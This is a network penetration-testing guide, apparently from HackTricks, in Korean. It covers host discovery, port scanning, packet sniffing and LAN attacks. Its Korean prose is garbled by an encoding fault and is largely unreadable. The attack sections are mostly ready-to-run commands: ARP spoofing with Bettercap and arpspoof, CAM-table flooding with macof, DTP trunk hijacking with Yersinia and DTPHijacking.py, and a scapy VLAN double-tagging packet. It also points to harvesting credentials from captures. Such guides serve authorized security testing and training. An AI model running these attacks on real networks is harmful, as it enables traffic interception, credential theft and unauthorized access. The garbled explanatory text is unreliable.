Pentesting ๋คํธ์ํฌ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ธ๋ถ์์ ํธ์คํธ ๋ฐ๊ฒฌ
์ด ๋ฌธ์๋ ๊ฐ๋จํ ์น์
์ผ๋ก ์ธํฐ๋ท์์ ์๋ตํ๋ IPs๋ฅผ ์ฐพ๋ ๋ฐฉ๋ฒ์ ๋ํ ๋ด์ฉ์
๋๋ค.
์ด ๊ฒฝ์ฐ ์ผ๋ถ IP ๋ฒ์(์ฌ์ง์ด ์ฌ๋ฌ ๋ฒ์์ผ ์๋ ์์)๊ฐ ์ฃผ์ด์ ธ ์๊ณ ๋จ์ํ ์ด๋ค IP๋ค์ด ์๋ตํ๋์ง ์ฐพ์ผ๋ฉด ๋ฉ๋๋ค.
ICMP
์ด๋ ํธ์คํธ๊ฐ ์ด์ ์๋์ง ์ฌ๋ถ๋ฅผ ํ์ธํ๋ ๊ฐ์ฅ ์ฌ์ด ๋ฐ ๊ฐ์ฅ ๋น ๋ฅธ ๋ฐฉ๋ฒ์
๋๋ค.
๋ช๋ช ICMP ํจํท์ ๋ณด๋ด๊ณ ์๋ต์ ๊ธฐ๋ํ ์ ์์ต๋๋ค. ๊ฐ์ฅ ์ฌ์ด ๋ฐฉ๋ฒ์ ๋จ์ํ echo request๋ฅผ ๋ณด๋ด๊ณ ์๋ต์ ๊ธฐ๋ค๋ฆฌ๋ ๊ฒ์
๋๋ค. ๊ฐ๋จํ ping์ ์ฌ์ฉํ๊ฑฐ๋ fping์ ์ฌ์ฉํด ๋ฒ์์ ๋ํด ์ํํ ์ ์์ต๋๋ค.
๋ํ nmap์ ์ฌ์ฉํด ๋ค๋ฅธ ์ ํ์ ICMP ํจํท์ ๋ณด๋ผ ์ ์์ต๋๋ค (์ด๋ ์ผ๋ฐ์ ์ธ ICMP echo request-response์ ๋ํ ํํฐ๋ฅผ ์ฐํํฉ๋๋ค).
ping -c 1 199.66.11.4 # 1 echo request to a host
fping -g 199.66.11.0/24 # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
TCP Port Discovery
๋ชจ๋ ์ข
๋ฅ์ ICMP packets๊ฐ ํํฐ๋ง๋์ด ์๋ ๊ฒฝ์ฐ๋ฅผ ํํ ๋ฐ๊ฒฌํฉ๋๋ค. ๊ทธ๋ด ๋ host๊ฐ up์ธ์ง ํ์ธํ๋ ค๋ฉด open ports๋ฅผ ์ฐพ์ผ๋ ค๊ณ ์๋ํ๋ ๊ฒ๋ฐ์ ์์ต๋๋ค. ๊ฐ host๋ 65535 ports๋ฅผ ๊ฐ์ง๊ณ ์์ผ๋ฏ๋ก, scope๊ฐ โbigโํ ๊ฒฝ์ฐ ๊ฐ host์ each port๊ฐ ์ด๋ ค ์๋์ง ํ
์คํธํ ์ ์์ต๋๋ค, ๋๋ฌด ๋ง์ ์๊ฐ์ด ๊ฑธ๋ฆฝ๋๋ค.
๊ทธ๋ฌ๋ฏ๋ก ํ์ํ ๊ฒ์ fast port scanner (masscan)์ ports more used: ๋ชฉ๋ก์
๋๋ค:
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
์ด ๋จ๊ณ๋ฅผ nmap์ผ๋ก ์ํํ ์๋ ์์ง๋ง, ๋๋ฆฌ๊ณ ์ด๋ ์ ๋ nmap์ hosts up์ ์๋ณํ๋ ๋ฐ ๋ฌธ์ ๊ฐ ์๋ค.
HTTP Port Discovery
์ด๋ ๋จ์ง TCP port discovery๋ก, focus on discovering HTTP services์ ์ง์คํ๊ณ ์ถ์ ๋ ์ ์ฉํ๋ค:
masscan -p80,443,8000-8100,8443 199.66.11.0/24
UDP Port Discovery
์ด๋ค **host.**์ pay more attentionํด์ผ ํ ์ง ๊ฒฐ์ ํ๋ ค๋ฉด ์ผ๋ถ UDP port open๋ฅผ ํ์ธํด ๋ณผ ์ ์์ต๋๋ค. As UDP services usually donโt respond with any data to a regular empty UDP probe packet it is difficult to say if a port is being filtered or open. ๊ฐ์ฅ ์ฌ์ด ํ๋จ ๋ฐฉ๋ฒ์ ์คํ ์ค์ธ service์ ๊ด๋ จ๋ packet์ ๋ณด๋ด๋ ๊ฒ์ด๊ณ , ์ด๋ค service๊ฐ ์คํ ์ค์ธ์ง ๋ชจ๋ฅผ ๊ฒฝ์ฐ port number์ ๊ธฐ๋ฐํด ๊ฐ์ฅ ๊ฐ๋ฅ์ฑ์ด ๋์ ๊ฒ์ ์๋ํด์ผ ํฉ๋๋ค:
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
์์ ์ ์ํ nmap ๋ผ์ธ์ /24 ๋ฒ์ ๋ด ๋ชจ๋ ํธ์คํธ์์ top 1000 UDP ports ๋ฅผ ๊ฒ์ฌํ์ง๋ง, ์ด์กฐ์ฐจ๋ >20min ๊ฑธ๋ฆฝ๋๋ค. ๋ณด๋ค ๋น ๋ฅธ ๊ฒฐ๊ณผ๊ฐ ํ์ํ๋ฉด udp-proto-scanner๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค: ./udp-proto-scanner.pl 199.66.11.53/24 ์ด ๋๊ตฌ๋ ๋ค์์ UDP probes ๋ฅผ ํด๋น expected port ๋ก ์ ์กํฉ๋๋ค( /24 ๋ฒ์์ ๊ฒฝ์ฐ ์ฝ 1๋ถ ์์): DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp.
SCTP Port Discovery
#Probably useless, but it's pretty fast, why not try it?
nmap -T4 -sY -n --open -Pn <IP/range>
Pentesting Wifi
์ฌ๊ธฐ์์ ์์ฑ ์์ ์ ๋๋ฆฌ ์๋ ค์ง ๋ชจ๋ Wifi ๊ณต๊ฒฉ์ ๋ํ ์ข์ ๊ฐ์ด๋๋ฅผ ํ์ธํ ์ ์์ต๋๋ค:
๋คํธ์ํฌ ๋ด๋ถ์์ ํธ์คํธ ๋ฐ๊ฒฌ
๋คํธ์ํฌ ๋ด๋ถ์ ์๋ค๋ฉด ๊ฐ์ฅ ๋จผ์ ํ๊ณ ์ถ์ ๊ฒ ์ค ํ๋๋ ๋ค๋ฅธ ํธ์คํธ๋ฅผ ์ฐพ๋ ๊ฒ์ ๋๋ค. ์ํํ ์ ์๋ ์์ ์ ์ผ๋ง๋ ๋ง์ noise๋ฅผ ๋ฐ์์ํฌ ์/์ํ๋์ง์ ๋ฐ๋ผ ๋ฌ๋ผ์ง๋๋ค:
์๋
์ฐ๊ฒฐ๋ ๋คํธ์ํฌ ๋ด์์ ํธ์คํธ๋ฅผ ์๋์ผ๋ก ๋ฐ๊ฒฌํ๋ ๋ฐ ๋ค์ ๋๊ตฌ๋ค์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info
๋ฅ๋
Discovering hosts from the outside (TCP/HTTP/UDP/SCTP Port Discovery)์ ์ธ๊ธ๋ ๊ธฐ๋ฒ๋ค์ ์ฌ๊ธฐ์๋ ์ ์ฉํ ์ ์์ต๋๋ค.
ํ์ง๋ง ๋ค๋ฅธ ํธ์คํธ๋ค๊ณผ ๊ฐ์ ๋คํธ์ํฌ์ ์๊ธฐ ๋๋ฌธ์, ๋ ๋ง์ ์์
์ ์ํํ ์ ์์ต๋๋ค:
#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)
#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain
# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)
#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.
Active ICMP
Note that the techniques commented in Discovering hosts from the outside (ICMP) can be also applied here.
ํ์ง๋ง ๋ค๋ฅธ ํธ์คํธ๋ค๊ณผ ๊ฐ์ ๋คํธ์ํฌ์ ์์ผ๋ฏ๋ก ๋ ๋ง์ ๊ฒ๋ค์ ํ ์ ์์ต๋๋ค:
- ๋ง์ฝ ping์ ์๋ธ๋ท ๋ธ๋ก๋์บ์คํธ ์ฃผ์์ ๋ณด๋ด๋ฉด, ping์ ๊ฐ ํธ์คํธ์ ๋๋ฌํ๊ณ ๊ทธ๋ค์ด ๋น์ ์๊ฒ ์๋ตํ ์ ์์ต๋๋ค:
ping -b 10.10.5.255 - network broadcast address์ ping์ ๋ณด๋ด๋ฉด ์ฌ์ง์ด ๋ค๋ฅธ ์๋ธ๋ท ๋ด๋ถ์ ํธ์คํธ๋ ์ฐพ์ ์ ์์ต๋๋ค:
ping -b 255.255.255.255 nmap์-PE,-PP,-PMํ๋๊ทธ๋ฅผ ์ฌ์ฉํ์ฌ ๊ฐ๊ฐ ICMPv4 echo, timestamp, ๊ทธ๋ฆฌ๊ณ subnet mask requests๋ฅผ ์ ์กํด ํธ์คํธ ๋์ค์ปค๋ฒ๋ฆฌ๋ฅผ ์ํํ์ธ์:nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24
Wake On Lan
Wake On Lan์ ์ปดํจํฐ๋ฅผ ์ผ๋ ๋ฐ ๋คํธ์ํฌ ๋ฉ์์ง๋ฅผ ํตํด ์ฌ์ฉ๋ฉ๋๋ค.
์ปดํจํฐ๋ฅผ ์ผ๋ ๋ฐ ์ฌ์ฉ๋๋ magic packet์ MAC Dst๊ฐ ์ ๊ณต๋๊ณ ๊ทธ ๊ฐ์ด ๋์ผํ ํจํท ์์์ 16๋ฒ ๋ฐ๋ณต๋๋ ํจํท์
๋๋ค.
์ด๋ฐ ํจํท๋ค์ ๋ณดํต ethernet 0x0842 ๋๋ UDP packet to port 9๋ก ์ ์ก๋ฉ๋๋ค.
๋ง์ฝ **no [MAC]**๊ฐ ์ ๊ณต๋๋ฉด, ํจํท์ broadcast ethernet์ผ๋ก ์ ์ก๋ฉ๋๋ค(๊ทธ๋ฆฌ๊ณ ๋ธ๋ก๋์บ์คํธ MAC์ด ๋ฐ๋ณต๋๋ ๊ฐ์ด ๋ฉ๋๋ค).
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0842
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
ํธ์คํธ ์ค์บ๋
์ฌ์ธต ์ค์บํ๋ ค๋ ๋ชจ๋ IP(์ธ๋ถ ๋๋ ๋ด๋ถ)๋ฅผ ์ฐพ์ ํ์๋ ๋ค์ํ ์กฐ์น๋ฅผ ์ํํ ์ ์์ต๋๋ค.
TCP
- Open port: SYN โ> SYN/ACK โ> RST
- Closed port: SYN โ> RST/ACK
- Filtered port: SYN โ> [NO RESPONSE]
- Filtered port: SYN โ> ICMP message
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>
#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
UDP
There are 2 options to scan an UDP port:
- UDP packet์ ๋ณด๋ด ํฌํธ๊ฐ closed์ผ ๊ฒฝ์ฐ ICMP unreachable ์๋ต์ ํ์ธํ๋ค (๋ช๋ช ๊ฒฝ์ฐ ICMP๊ฐ filtered ๋์ด ํฌํธ๊ฐ ๋ซํ ์๋์ง ์ด๋ ค ์๋์ง์ ๋ํ ์ ๋ณด๋ฅผ ๋ฐ์ง ๋ชปํ ์ ์๋ค).
- formatted datagrams์ ๋ณด๋ด service๋ก๋ถํฐ ์๋ต์ ์ ๋ํ๋ค(์: DNS, DHCP, TFTP ๋ฑ, _nmap-payloads_์ ๋์ด๋ ๊ฒ๋ค). response๋ฅผ ๋ฐ์ผ๋ฉด ํด๋น ํฌํธ๋ open์ด๋ค.
Nmap์ โ-sVโ๋ฅผ ์ฌ์ฉํ์ฌ mix both ์ต์ ์ ํผํฉํ๋ค (UDP scans are very slow), ํ์ง๋ง UDP scans์ TCP scans๋ณด๋ค ๋๋ฆฌ๋ค๋ ์ ์ ์ ์ํ๋ผ:
# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time
SCTP Scan
**SCTP (Stream Control Transmission Protocol)**๋ TCP (Transmission Control Protocol) ๋ฐ **UDP (User Datagram Protocol)**์ ํจ๊ป ์ฌ์ฉ๋๋๋ก ์ค๊ณ๋์๋ค. ์ฃผ๋ ๋ชฉ์ ์ IP ๋คํธ์ํฌ ์์์ ์์ฑ(telephony) ๋ฐ์ดํฐ์ ์ ์ก์ ์ฉ์ดํ๊ฒ ํ๋ ๊ฒ์ด๋ฉฐ, **Signaling System 7 (SS7)**์์ ๋ฐ๊ฒฌ๋๋ ๋ง์ ์ ๋ขฐ์ฑ ๊ธฐ๋ฅ์ ๋ฐ์ํ๋ค. SCTP๋ SIGTRAN ํ๋กํ ์ฝ ๊ณ์ด์ ํต์ฌ ๊ตฌ์ฑ ์์๋ก, SS7 ์ ํธ๋ฅผ IP ๋คํธ์ํฌ๋ก ์ ์กํ๋ ๊ฒ์ ๋ชฉํ๋ก ํ๋ค.
SCTP์ ๋ํ ์ง์์ IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS, VxWorks ๋ฑ ๋ค์ํ ์ด์์ฒด์ ์์ ์ ๊ณต๋์ด ํต์ ๋ฐ ๋คํธ์ํน ๋ถ์ผ์์์ ํญ๋์ ์ฑํ๊ณผ ์ ์ฉ์ฑ์ ๋ณด์ฌ์ค๋ค.
SCTP์ ๋ํด nmap์ ์๋ก ๋ค๋ฅธ ๋ ๊ฐ์ง ์ค์บ์ ์ ๊ณตํ๋ค: -sY ๋ฐ -sZ
# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
IDS and IPS evasion
More nmap options
๋ด๋ถ IP ์ฃผ์ ํ์ธ
Misconfigured routers, firewalls, and network devices๋ ๋๋๋ก network probes์ ๋ํด nonpublic source addresses๋ฅผ ์ฌ์ฉํ์ฌ ์๋ตํฉ๋๋ค. tcpdump๋ ํ ์คํธ ์ค์ ์ฌ์ค ์ฃผ์๋ก๋ถํฐ ์์ ๋ ํจํท์ ์๋ณํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค. ๊ตฌ์ฒด์ ์ผ๋ก Kali Linux์์ ๊ณต๊ฐ ์ธํฐ๋ท์์ ์ ๊ทผ ๊ฐ๋ฅํ eth2 interface์์ ํจํท์ ์บก์ฒํ ์ ์์ต๋๋ค. ๊ตฌ์ฑ(์ค์ )์ด NAT ๋๋ Firewall ๋ค์ ์์ผ๋ฉด ์ด๋ฌํ ํจํท์ ํํฐ๋ง๋ ๊ฐ๋ฅ์ฑ์ด ๋๋ค๋ ์ ์ ์ ์ํด์ผ ํฉ๋๋ค.
tcpdump โnt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
Sniffing
Sniffing์ ํตํด ์บก์ฒ๋ frames์ packets๋ฅผ ๊ฒํ ํ์ฌ IP ranges, subnet sizes, MAC addresses, ๊ทธ๋ฆฌ๊ณ hostnames์ ๋ํ ์ธ๋ถ ์ ๋ณด๋ฅผ ํ์ ํ ์ ์์ต๋๋ค. ๋คํธ์ํฌ๊ฐ ์๋ชป ๊ตฌ์ฑ๋์๊ฑฐ๋ switching fabric์ด ๊ณผ๋ถํ ์ํ์ผ ๊ฒฝ์ฐ, ๊ณต๊ฒฉ์๋ passive network sniffing์ ํตํด ๋ฏผ๊ฐํ ์๋ฃ๋ฅผ ์บก์ฒํ ์ ์์ต๋๋ค.
If a switched Ethernet network is configured properly, you will only see broadcast frames and material destined for your MAC address.
TCPDump
sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
์๊ฒฉ ๋จธ์ ์์ SSH ์ธ์ ์ ํตํด Wireshark๋ฅผ GUI๋ก ์ฌ์ฉํด packets๋ฅผ ์ค์๊ฐ์ผ๋ก ์บก์ฒํ ์๋ ์๋ค.
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
Bettercap
net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered
Wireshark
๋ฌผ๋ก .
์๊ฒฉ ์ฆ๋ช ์์ง
๋ค์๊ณผ ๊ฐ์ ๋๊ตฌ(https://github.com/lgandx/PCredz)๋ฅผ ์ฌ์ฉํด pcap์ด๋ ๋ผ์ด๋ธ ์ธํฐํ์ด์ค์์ ์๊ฒฉ ์ฆ๋ช ์ ํ์ฑํ ์ ์์ต๋๋ค.
LAN ๊ณต๊ฒฉ
ARP spoofing
ARP Spoofing์ ํน์ ๋จธ์ ์ IP๊ฐ ์ฐ๋ฆฌ ์ฅ์น์ MAC์ ๊ฐ์ง๋ค๊ณ ์๋ฆฌ๊ธฐ ์ํด gratuitous ARPResponses๋ฅผ ์ ์กํ๋ ๊ฒ์ ๋๋ค. ๊ทธ๋ฐ ๋ค์ ํผํด์๋ ARP ํ ์ด๋ธ์ ๋ณ๊ฒฝํ๊ณ ์คํธํ๋ IP๋ก ํต์ ํ๋ ค ํ ๋๋ง๋ค ์ฐ๋ฆฌ ์ฅ์น๋ก ์ ์ํ๊ฒ ๋ฉ๋๋ค.
Bettercap
arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)
Arpspoof
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1
MAC Flooding - CAM overflow
์ค์์น์ CAM ํ ์ด๋ธ์ ๋ค์ํ ์ถ๋ฐ์ง MAC ์ฃผ์๋ก ๋ง์ ํจํท์ ์ ์กํ์ฌ ๋์น๊ฒ ํ๋ค. CAM ํ ์ด๋ธ์ด ๊ฐ๋ ์ฐจ๋ฉด ์ค์์น๋ ํ๋ธ์ฒ๋ผ ๋์ํ์ฌ ๋ชจ๋ ํธ๋ํฝ์ ๋ธ๋ก๋์บ์คํธํ๋ค.
macof -i <interface>
In modern switches this vulnerability has been fixed.
802.1Q VLAN / DTP ๊ณต๊ฒฉ
๋์ ํธ๋ ํน
The Dynamic Trunking Protocol (DTP) ๋ ๋งํฌ ๊ณ์ธต ํ๋กํ ์ฝ๋ก ์ค๊ณ๋์ด ํธ๋ ํน์ ์๋ํํ๊ณ , ์ค์์น๊ฐ ํฌํธ๋ฅผ Trunk ๋ชจ๋ ๋๋ ๋นํธ๋ ํฌ ๋ชจ๋๋ก ์๋ ์ ํํ ์ ์๊ฒ ํฉ๋๋ค. DTP ์ ์ฌ์ฉ์ ์ข ์ข ๋ฐ๋์งํ์ง ์์ ๋คํธ์ํฌ ์ค๊ณ์ ์งํ๋ก ์ฌ๊ฒจ์ง๋ฉฐ, ํ์ํ ๊ณณ์์๋ง ํธ๋ ํฌ๋ฅผ ์๋์ผ๋ก ๊ตฌ์ฑํ๊ณ ์ ์ ํ ๋ฌธ์ํํ ํ์๊ฐ ์์์ ๊ฐ์กฐํฉ๋๋ค.
๊ธฐ๋ณธ์ ์ผ๋ก ์ค์์น ํฌํธ๋ Dynamic Auto ๋ชจ๋๋ก ์ค์ ๋์ด ์์ด ์ธ์ ์ค์์น๊ฐ ์์ฒญํ๋ฉด ํธ๋ ํน์ ์์ํ ์ค๋น๊ฐ ๋์ด ์์ต๋๋ค. pentester๋ ๊ณต๊ฒฉ์๊ฐ ์ค์์น์ ์ฐ๊ฒฐํด DTP Desirable ํ๋ ์์ ์ ์กํ๋ฉด ํฌํธ๊ฐ ๊ฐ์ ๋ก trunk mode๋ก ๋ค์ด๊ฐ๊ฒ ๋์ด ๋ณด์ ๋ฌธ์ ๊ฐ ๋ฐ์ํฉ๋๋ค. ์ด๋ก ์ธํด ๊ณต๊ฒฉ์๋ STP ํ๋ ์ ๋ถ์์ ํตํด VLAN์ ์ด๊ฑฐํ๊ณ ๊ฐ์ ์ธํฐํ์ด์ค๋ฅผ ์ค์ ํ์ฌ VLAN ๋ถํ ์ ์ฐํํ ์ ์์ต๋๋ค.
๋ง์ ์ค์์น์ DTP๊ฐ ๊ธฐ๋ณธ์ผ๋ก ํ์ฑํ๋์ด ์์ผ๋ฉด ๊ณต๊ฒฉ์๊ฐ ์ค์์น ๋์์ ๋ชจ๋ฐฉํด ๋ชจ๋ VLAN์ ํธ๋ํฝ์ ์ ๊ทผํ ์ ์์ต๋๋ค. ์คํฌ๋ฆฝํธ dtpscan.sh ๋ ์ธํฐํ์ด์ค๋ฅผ ๋ชจ๋ํฐ๋งํ์ฌ ์ค์์น๊ฐ Default, Trunk, Dynamic, Auto ๋๋ Access ๋ชจ๋์ธ์ง ํ๋ณํฉ๋๋ค โ ๋ง์ง๋ง์ธ Access ๋ชจ๋๋ง์ด VLAN hopping attacks์ ๋ฉด์ญ์ ๋๋ค. ์ด ๋๊ตฌ๋ ์ค์์น์ ์ทจ์ฝ ์ํ๋ฅผ ํ๊ฐํฉ๋๋ค.
๋คํธ์ํฌ ์ทจ์ฝ์ฑ์ด ํ์ธ๋๋ฉด Yersinia ๋๊ตฌ๋ฅผ ์ฌ์ฉํด DTP ํ๋กํ ์ฝ์ ํตํด โenable trunkingโ์ ์ํํ์ฌ ๋ชจ๋ VLAN์ ํจํท์ ๊ด์ฐฐํ ์ ์์ต๋๋ค.
apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"
yersinia -G #For graphic mode
.png)
VLAN์ ์ด๊ฑฐํ๊ธฐ ์ํด ์คํฌ๋ฆฝํธ DTPHijacking.py. ์ด๋ค ์ํฉ์์๋ ์คํฌ๋ฆฝํธ๋ฅผ ์ค๋จํ์ง ๋ง์ญ์์ค. ์ด ์คํฌ๋ฆฝํธ๋ 3์ด๋ง๋ค DTP Desirable์ ์ฃผ์ ํฉ๋๋ค. ์ค์์น์์ ๋์ ์ผ๋ก ์์ฑ๋ trunk ์ฑ๋์ 5๋ถ ๋์๋ง ์ ์ง๋ฉ๋๋ค. 5๋ถ์ด ์ง๋๋ฉด trunk๊ฐ ํด์ ๋ฉ๋๋ค.
sudo python3 DTPHijacking.py --interface eth0
I would like to point out that Access/Desirable (0x03) indicates that the DTP frame is of the Desirable type, which tells the port to switch to Trunk mode. And 802.1Q/802.1Q (0xa5 indicates the 802.1Q encapsulation type.
STP ํ๋ ์์ ๋ถ์ํ๋ฉด, VLAN 30 ๋ฐ VLAN 60์ ์กด์ฌ๋ฅผ ์ ์ ์๋ค.
.png)
ํน์ VLAN ๊ณต๊ฒฉ
Once you known VLAN IDs and IPs values, you can configure a virtual interface to attack a specific VLAN.
DHCP๋ฅผ ์ฌ์ฉํ ์ ์๋ค๋ฉด, ์ ์ IP ์ฃผ์๋ฅผ ์ค์ ํ๊ธฐ ์ํด _ifconfig_๋ฅผ ์ฌ์ฉํ๋ผ.
VLAN ์ธํฐํ์ด์ค ๊ตฌ์ฑ (์์)
```bash root@kali:~# modprobe 8021q root@kali:~# vconfig add eth1 250 Added VLAN with VID == 250 to IF -:eth1:- root@kali:~# dhclient eth1.250 Reloading /etc/samba/smb.conf: smbd only. root@kali:~# ifconfig eth1.250 eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65 inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0 inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:19 errors:0 dropped:0 overruns:0 frame:0 TX packets:13 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB)root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
</details>
```bash
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30
Automatic VLAN Hopper
์์ ๋ค๋ฃฌ Dynamic Trunking and creating virtual interfaces an discovering hosts inside ๊ณต๊ฒฉ์ ๋๊ตฌ์ ์ํด ์๋์ผ๋ก ์ํ๋ฉ๋๋ค: https://github.com/nccgroup/vlan-hoppingโfrogger
Double Tagging
๊ณต๊ฒฉ์๊ฐ MAC, IP and VLAN ID of the victim host ๊ฐ์ ์๊ณ ์๋ค๋ฉด, ์ง์ ๋ VLAN๊ณผ ํผํด์์ VLAN์ผ๋ก ํ๋ ์์ double tag a frame ํ์ฌ ํจํท์ ๋ณด๋ผ ์ ์์ต๋๋ค. ํผํด์๊ฐ ๊ณต๊ฒฉ์์๊ฒ victim wonโt be able to connect back ํ๊ธฐ ๋๋ฌธ์, ๊ณต๊ฒฉ์๋ SNMP ๊ฐ์ ๋์์ ์ํํ๋ ํ๋กํ ์ฝ๊ณผ ํต์ ํ๊ธฐ ์ํด best option for the attacker is communicate via UDP ๋ฅผ ์ ํํ๋ ๊ฒ์ด ์ข์ต๋๋ค.
๋ค๋ฅธ ์ต์ ์ผ๋ก ๊ณต๊ฒฉ์๋ TCP port scan spoofing an IP controlled by the attacker and accessible by the victim (์๋ง ์ธํฐ๋ท์ ํตํด) ๋ฅผ ์คํํ ์ ์์ต๋๋ค. ๊ทธ๋ฐ ๋ค์, ํผํด์๋ก๋ถํฐ ํจํท์ ๋ฐ์ผ๋ฉด ๊ณต๊ฒฉ์๊ฐ ์์ ํ ๋ ๋ฒ์งธ ํธ์คํธ์์ ์ด๋ฅผ ์ค๋ํํ ์ ์์ต๋๋ค.
.png)
์ด ๊ณต๊ฒฉ์ ์ํํ๋ ค๋ฉด scapy๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค: pip install scapy
from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)
Lateral VLAN Segmentation Bypass
